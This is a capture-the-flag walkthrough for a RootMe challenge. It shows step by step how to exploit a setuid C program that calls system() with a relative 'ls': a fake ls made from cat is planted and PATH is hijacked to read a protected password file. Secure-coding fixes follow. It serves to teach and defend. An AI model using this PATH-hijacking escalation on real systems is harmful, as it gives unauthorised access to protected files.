Understanding the RootMe Challenge

This challenge illustrates how attackers exploit vulnerable system scripts through command manipulation and privilege escalation. You’ll analyze a C program that executes commands with elevated privileges, then manipulate the system environment to trick it into running unintended commands and accessing restricted files. By the end, you’ll understand how misconfigurations in setuid binaries and environment variables can lead to security breaches.

---

Key Concepts

Privilege Escalation

Exploiting misconfigurations to gain higher-level access (e.g., root) than intended. Common techniques include:

• Setuid binaries: Programs that temporarily grant elevated permissions.
• Environment variable manipulation: Altering system behavior by hijacking variables like PATH.

Command Manipulation

Altering system behavior by intercepting or replacing commands. Key methods:

• PATH hijacking: Redirecting command execution by modifying the PATH variable.
• Relative vs. absolute paths: Using relative paths (e.g., ls) instead of absolute paths (e.g., /bin/ls) creates vulnerabilities.

Critical System Calls

• setreuid(): Sets the real and effective user IDs of a process, often used to drop or elevate privileges.
• system(): Executes shell commands but is vulnerable to injection if misused.

---

Challenge Walkthrough

Initial Setup

Connect to the RootMe challenge server via SSH:

ssh -p 2222 app-script-ch11@challenge02.root-me.org

Note: The server uses port 2222. Ensure your firewall allows outbound connections.

---

Vulnerability Analysis

The Vulnerable Code

The challenge provides a compiled C program (ch11) with this source:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}

Security Flaws

1. Elevated Privileges

   • setreuid(geteuid(), geteuid()) runs the program with the file owner’s permissions (likely root).
   • Common in setuid binaries but dangerous if combined with unsafe functions.

2. Command Injection

   • system() uses /bin/sh, which respects the PATH variable.
   • The relative path ls (instead of /bin/ls) allows attackers to hijack the command.

Security Risk: Any program using system() with relative paths is vulnerable to PATH manipulation attacks.

---

Exploitation Steps

Step 1: Verify Default Command Location

Check where the system finds ls:

which ls

Output: /bin/ls

Step 2: Create a Malicious Command

1. Create a directory for your fake ls:

   mkdir ~/bin
   

2. Copy cat and rename it to ls:

   cp /bin/cat ~/bin/ls
   chmod +x ~/bin/ls
   

Step 3: Hijack the PATH Variable

Prepend your directory to PATH:

export PATH=~/bin:$PATH

Verify the change:

which ls

Expected Output: /home/app-script-ch11/bin/ls

Step 4: Execute the Vulnerable Script

Run the program:

./ch11

Result: The script executes cat /challenge/app-script/ch11/.passwd instead of ls, revealing the password file.

---

Troubleshooting

Problem	Solution
PATH not updated	Verify with echo $PATH; ensure ~/bin appears first.
Permission denied	Run chmod +x ~/bin/ls to make the fake ls executable.
Script doesn’t run	Use ./ch11 to execute from the current directory.
cat not found	Use absolute path /bin/cat when copying.
Changes don’t persist	export PATH only affects the current shell session.

---

Secure Coding Practices

How to Prevent This Vulnerability

Use Absolute Paths

Replace relative commands with absolute paths:

system("/bin/ls /challenge/app-script/ch11/.passwd");

Drop Privileges After Use

Revert to the original user ID after privileged operations:

setreuid(getuid(), getuid());

Avoid system()

Use safer alternatives like execve():

char *args[] = {"/bin/ls", "/challenge/app-script/ch11/.passwd", NULL};
execve("/bin/ls", args, NULL);

Sanitize Environment Variables

Reset PATH before executing commands:

setenv("PATH", "/bin:/usr/bin", 1);
system("ls /challenge/app-script/ch11/.passwd");

---

Key Takeaways

• Never trust user-controlled environment variables in privileged programs.
• Always use absolute paths for external commands.
• system() is dangerous in setuid programs—avoid it when possible.
• PATH manipulation is a common privilege escalation technique in CTFs and real-world attacks.
• Defense in depth: Combine multiple security measures (e.g., absolute paths + privilege dropping).

---

Learn More

Recommended Resources

• RootMe Challenge Platform: Practice more privilege escalation challenges.
• Linux Privilege Escalation Guide: Comprehensive techniques and tools.
• setreuid() Man Page: Official documentation.

Related Challenges

Challenge Name	Focus Area	Difficulty
Bash - System 2	Environment variable manipulation	Medium
Python - Input	Command injection	Easy
C - setuid 0	Buffer overflow + privilege escalation	Hard